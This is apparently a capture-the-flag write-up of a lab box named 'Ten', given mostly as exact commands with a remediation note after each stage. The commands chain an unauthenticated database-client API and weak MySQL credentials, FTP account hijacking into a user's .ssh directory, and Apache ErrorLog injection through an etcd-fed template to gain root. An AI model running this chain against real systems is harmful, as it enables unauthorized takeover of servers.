Ten
Summary
I found a hosting signup portal that automatically provisions FTP accounts backed by a MySQL database. A second virtual host, webdb.ten.vl, ran WebDB, a browser-based database client whose unauthenticated API could discover the local MySQL server, guess its weak credential, and run arbitrary SQL.
Through that API I rewrote my own Pure-FTPd account so it ran as uid 1000 and landed in the local user tyrell's .ssh directory, then uploaded an SSH public key over FTP for a shell as tyrell. From there, a root-run configuration service (Remco) was found to build Apache configuration from values in an unauthenticated local etcd store; injecting a piped ErrorLog directive through the unquoted ServerName value made Apache, restarted by root, run I script that installed my key for root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for MySQL>"Attack path — how the box was taken
Exact commands 2
The bare IP served a redirect stub, so the site depends on virtual host names.
$ curl -ksS -L --max-time 15 --max-redirs 5 -D - -w '\nPTEST_HTTP %{http_code} %{url_effective}\n' http://$TARGET/The webdb vhost was a separate Express app (WebDB), not part of the signup portal.
$ curl --resolve webdb.ten.vl:80:$TARGET -s -i http://webdb.ten.vl/FixDo not expose database-admin tools on guessable virtual hostsHigh
Exact commands 3
Export the returned Username as $USERNAME and Password as $PASSWORD; the name is generated, not chosen.
$ curl --resolve ten.vl:80:$TARGET -s -X POST -d domain=testing http://ten.vl/get-credentials-please-do-not-spam-this-thanks.phpWebDB scanned the host for database servers and found MySQL on 127.0.0.1:3306.
$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 120 http://webdb.ten.vl/api/server/scan/tmp/guess.json held {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"","password":"","params":{},"name":"MySQL@127.0.0.1"}; the reply carried the working user and password ($PASSWORD2).
$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 300 -H 'Content-Type: application/json' -d @/tmp/guess.json http://webdb.ten.vl/api/server/guessFixReplace weak database credentials and enforce strong authenticationCritical
Exact commands 3
With /tmp/q.json = {"query":"SHOW DATABASES"}: lists the pureftpd database.
$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 60 -H 'Content-Type: application/json' -H 'Server: {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"user","password":"'"$PASSWORD2"'","params":{},"name":"MySQL@127.0.0.1"}' -d @/tmp/q.json http://webdb.ten.vl/api/query/runWith /tmp/q.json = {"query":"SELECT * FROM pureftpd.users WHERE User LIKE 'ten-%' ORDER BY User DESC LIMIT 3"}: shows the uid, gid and dir columns of the account.
$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 60 -H 'Content-Type: application/json' -H 'Server: {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"user","password":"'"$PASSWORD2"'","params":{},"name":"MySQL@127.0.0.1"}' -d @/tmp/q.json http://webdb.ten.vl/api/query/runWith /tmp/q.json = {"query":"UPDATE pureftpd.users SET uid=1000, gid=1000, dir='/srv/../home/tyrell/.ssh' WHERE user='$USERNAME'"}: the FTP account now runs as tyrell inside tyrell's .ssh.
$ curl --resolve webdb.ten.vl:80:$TARGET -s --max-time 60 -H 'Content-Type: application/json' -H 'Server: {"wrapper":"MySQL","host":"127.0.0.1","port":3306,"user":"user","password":"'"$PASSWORD2"'","params":{},"name":"MySQL@127.0.0.1"}' -d @/tmp/q.json http://webdb.ten.vl/api/query/runFixIsolate FTP accounts from system users and block path traversalCritical
Exact commands 3
The upload must be named authorized_keys because the FTP session lands directly in .ssh.
$ rm -f /tmp/tenkey /tmp/tenkey.pub /tmp/authorized_keys; ssh-keygen -q -t ed25519 -f /tmp/tenkey -N '' && cp /tmp/tenkey.pub /tmp/authorized_keys && cat /tmp/authorized_keysThe 230 banner shows /home/tyrell/.ssh as the login directory; 226 means the key is in place.
$ curl -sv --max-time 45 --ftp-pasv -T /tmp/authorized_keys ftp://$USERNAME:$PASSWORD@$TARGET/authorized_keysKey login as tyrell works; the flag is the hidden .user.txt (<user.txt>).
$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes tyrell@$TARGET "id; hostname; pwd; ls -la /home/tyrell; cat /home/tyrell/.user.txt 2>/dev/null; cat /home/tyrell/user.txt 2>/dev/null"
uid=1000(tyrell)Exact commands 1
Shows the whole root pipeline: etcd key, template with the unquoted url, and the Apache restart; the etcdctl read works with no credentials.
$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes tyrell@$TARGET "id; which etcdctl; cat /etc/remco/config 2>/dev/null; echo ---TMPL---; cat /etc/remco/templates/*.tmpl 2>/dev/null; echo ---SITES---; cat /etc/apache2/sites-enabled/010-customers.conf 2>/dev/null | head -40; echo ---ETCD---; ETCDCTL_API=3 /usr/bin/etcdctl --endpoints=http://127.0.0.1:2379 get /customers --prefix --keys-only"FixRequire authentication and restrict access to the etcd storeHigh
Exact commands 4
pwn.sh: mkdir -p /root/.ssh; cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys; chmod 600 and chown root:root it; then exec cat > /dev/null to keep the logger running.
$ scp -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes /tmp/pwn.sh /tmp/p2.sh tyrell@$TARGET:/tmp/Run as tyrell. Apache could not use the copy in /tmp, so the helper lives in tyrell's home and the directory is made traversable.
$ cp /tmp/pwn.sh /home/tyrell/pwn.sh; chmod 755 /home/tyrell/pwn.sh; chmod 755 /home/tyrellThe trailing '#' comments out the '.ten.vl' the template appends. Remco polls every 5 seconds; wait about 15 seconds for the re-render and restart.
$ V=$'pwn3\n\tErrorLog "|/home/tyrell/pwn.sh"\n#'; ETCDCTL_API=3 /usr/bin/etcdctl --endpoints=http://127.0.0.1:2379 put /customers/$USERNAME/url "$V"The injected ErrorLog line is rendered and Apache is active again.
$ cat /etc/apache2/sites-enabled/010-customers.conf; systemctl is-active apache2FixValidate and quote values rendered into Apache configurationCritical
Exact commands 3
Root key login; read <root.txt>.
$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes root@$TARGET "id; hostname; pwd; cat /root/root.txt"
uid=0(root)Cleanup: restore the original vhost value so Remco renders a clean config.
$ ETCDCTL_API=3 /usr/bin/etcdctl --endpoints=http://127.0.0.1:2379 put /customers/$USERNAME/url testingCleanup: remove the planted keys and confirm the services are still running.
$ ssh -i /tmp/tenkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes root@$TARGET "rm -f /root/.ssh/authorized_keys /home/tyrell/.ssh/authorized_keys /root/clean.sh; echo CLEANED; ls -la /root/.ssh /home/tyrell/.ssh; systemctl is-active apache2 pure-ftpd-mysql remco"Exposed services
| 21/tcp | ftp recon-sweep-discovered |
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |